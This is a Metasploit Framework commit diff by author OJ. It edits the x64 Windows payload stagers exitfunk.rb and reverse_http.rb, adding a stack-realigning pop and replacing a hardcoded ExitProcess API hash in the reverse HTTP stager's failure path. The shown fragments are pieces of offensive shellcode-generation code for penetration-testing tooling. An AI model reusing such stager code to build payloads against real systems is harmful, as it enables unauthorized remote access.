WinHTTP rework with proxy support, and SSL verification

This commit fixes up the winhttps stuff properly too. PHEW!

Author: OJ

lib/msf/core/payload/windows/x64/exitfunk.rb

@@ -15,7 +15,10 @@ module Payload::Windows::Exitfunk_x64
 
   def asm_exitfunk(opts={})
 
-    asm = "exitfunk:\n"
+    asm = %Q^
+      exitfunk:
+        pop rax               ; won't be returning, realign the stack with a pop
+    ^
 
     case opts[:exitfunk]
 

lib/msf/core/payload/windows/x64/reverse_http.rb

@@ -376,9 +376,9 @@ def asm_reverse_http(opts={})
     else
       asm << %Q^
       failure:
-        push rbx                      ; stack alignment
-        push 0x56A2B5F0               ; hardcoded to exitprocess for size
-        call rbp
+        ; hard-coded to ExitProcess(whatever) for size
+        mov r10, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')}
+        call rbp              ; ExitProcess(whatever)
       ^
     end